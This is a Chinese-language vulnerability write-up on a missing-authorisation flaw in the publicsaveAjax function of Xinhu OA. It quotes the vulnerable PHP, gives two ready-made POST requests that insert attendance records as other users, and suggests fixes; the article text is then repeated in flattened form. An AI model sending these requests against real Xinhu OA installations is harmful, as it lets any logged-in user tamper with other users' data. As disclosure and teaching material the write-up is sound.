从先知文章复现到信呼OA数据库后门0day发掘
字数 918 2025-08-22 12:23:06

信呼OA数据库后门0day漏洞分析与利用教学

漏洞概述

本文详细分析了信呼OA系统中存在的一个数据库后门0day漏洞,该漏洞允许攻击者在后台进行垂直和水平越权操作,直接向数据库插入任意数据。漏洞存在于webmain/webmainAction.php文件的publicsaveAjax函数中。

漏洞分析

漏洞位置

漏洞核心位于webmain/webmainAction.php文件中的publicsaveAjax函数,该函数负责处理公共保存操作。

关键代码分析

public function publicsaveAjax()
{
    $this->iszclogin(); // 仅验证登录状态
    $table = $this->rock->xssrepstr($this->rock->iconvsql($this->post('tablename_postabc','',1),1));
    $id = (int)$this->post('id');
    
    // 缺少权限验证
    $db = m($table);
    $where = "`id`='$id'";
    if($id==0)$where='';
    
    // 接收并处理提交的字段
    $submditfi = $this->rock->jm->base64decode($this->post('submitfields_postabc'));
    $fields = explode(',', $submditfi);
    
    foreach($fields as $field){
        $field = $this->rock->xssrepstr($field);
        $val = $this->post(''.$field.'');
        $uaarr[$field]=$val;
    }
    
    // 执行数据库操作
    $sbo = $db->record($uaarr, $where);
    // ...
}

漏洞成因

  1. 权限验证缺失:仅验证了登录状态(iszclogin()),没有检查用户权限
  2. 未过滤表名和字段:虽然进行了XSS防护,但未限制可操作的表和字段
  3. 直接数据库操作:接收用户输入后直接执行数据库插入/更新操作

漏洞利用

利用条件

  • 需要已登录后台(任意权限用户)
  • 知道目标表名和字段结构

路由构造

根据信呼OA的路由规则,构造如下请求参数:

  • a=publicsave (调用publicsaveAjax方法)
  • m=index (webmain下)
  • d= (空)
  • ajaxbool=true (AJAX请求)

利用步骤

  1. 垂直越权示例(管理员签到功能)
POST /xinhu-master/index.php?a=publicsave&m=index&d=&ajaxbool=true HTTP/1.1
Host: target.com
Cookie: [有效的会话Cookie]
Content-Type: application/x-www-form-urlencoded

id=0&recename=攻击者&uid=12&dkdt=2025-08-07+10:09:00&explain=&otherfields=type=3,optdt={now}&tablename_postabc=kqdkjl&submitfields_postabc=ZGtkdCx1aWQsZXhwbGFpbg==&editrecord_postabc=false
  1. 水平越权示例(操作用户数据)
POST /xinhu-master/index.php?a=publicsave&m=index&d=&ajaxbool=true HTTP/1.1
Host: target.com
Cookie: [有效的会话Cookie]
Content-Type: application/x-www-form-urlencoded

id=0&recename=其他用户&uid=7&dkdt=2025-08-07+10:09:00&explain=&otherfields=type=3,optdt={now}&tablename_postabc=kqdkjl&submitfields_postabc=ZGtkdCx1aWQsZXhwbGFpbg==&editrecord_postabc=false

关键参数说明

  • tablename_postabc: 目标表名(经过编码)
  • submitfields_postabc: Base64编码的字段列表(如dkdt,uid,explain编码为ZGtkdCx1aWQsZXhwbGFpbg==
  • otherfields: 额外字段设置(支持变量如{now}表示当前时间)
  • id: 记录ID,0表示新增

漏洞修复建议

  1. publicsaveAjax函数中添加权限验证:

    if(!$this->isadmin()) return returnerror('无权限');
    
  2. 限制可操作的表名白名单:

    $allowedTables = ['table1', 'table2'];
    if(!in_array($table, $allowedTables)) return returnerror('禁止操作该表');
    
  3. 对字段进行严格过滤,只允许特定字段:

    $allowedFields = ['field1', 'field2'];
    foreach($fields as $field){
        if(!in_array($field, $allowedFields)) continue;
        // 处理字段
    }
    

总结

该漏洞展示了信呼OA系统中存在的权限控制缺陷,攻击者可以利用此漏洞:

  1. 进行垂直越权,执行高权限操作
  2. 进行水平越权,操作用户数据
  3. 作为持久化后门,向数据库插入恶意数据

PHP应用开发中应特别注意权限控制,建议使用成熟的权限管理框架或实现统一的权限检查机制。

信呼OA数据库后门0day漏洞分析与利用教学 漏洞概述 本文详细分析了信呼OA系统中存在的一个数据库后门0day漏洞,该漏洞允许攻击者在后台进行垂直和水平越权操作,直接向数据库插入任意数据。漏洞存在于 webmain/webmainAction.php 文件的 publicsaveAjax 函数中。 漏洞分析 漏洞位置 漏洞核心位于 webmain/webmainAction.php 文件中的 publicsaveAjax 函数,该函数负责处理公共保存操作。 关键代码分析 漏洞成因 权限验证缺失 :仅验证了登录状态( iszclogin() ),没有检查用户权限 未过滤表名和字段 :虽然进行了XSS防护,但未限制可操作的表和字段 直接数据库操作 :接收用户输入后直接执行数据库插入/更新操作 漏洞利用 利用条件 需要已登录后台(任意权限用户) 知道目标表名和字段结构 路由构造 根据信呼OA的路由规则,构造如下请求参数: a=publicsave (调用publicsaveAjax方法) m=index (webmain下) d= (空) ajaxbool=true (AJAX请求) 利用步骤 垂直越权示例(管理员签到功能) 水平越权示例(操作用户数据) 关键参数说明 tablename_postabc : 目标表名(经过编码) submitfields_postabc : Base64编码的字段列表(如 dkdt,uid,explain 编码为 ZGtkdCx1aWQsZXhwbGFpbg== ) otherfields : 额外字段设置(支持变量如 {now} 表示当前时间) id : 记录ID,0表示新增 漏洞修复建议 在 publicsaveAjax 函数中添加权限验证: 限制可操作的表名白名单: 对字段进行严格过滤,只允许特定字段: 总结 该漏洞展示了信呼OA系统中存在的权限控制缺陷,攻击者可以利用此漏洞: 进行垂直越权,执行高权限操作 进行水平越权,操作用户数据 作为持久化后门,向数据库插入恶意数据 PHP应用开发中应特别注意权限控制,建议使用成熟的权限管理框架或实现统一的权限检查机制。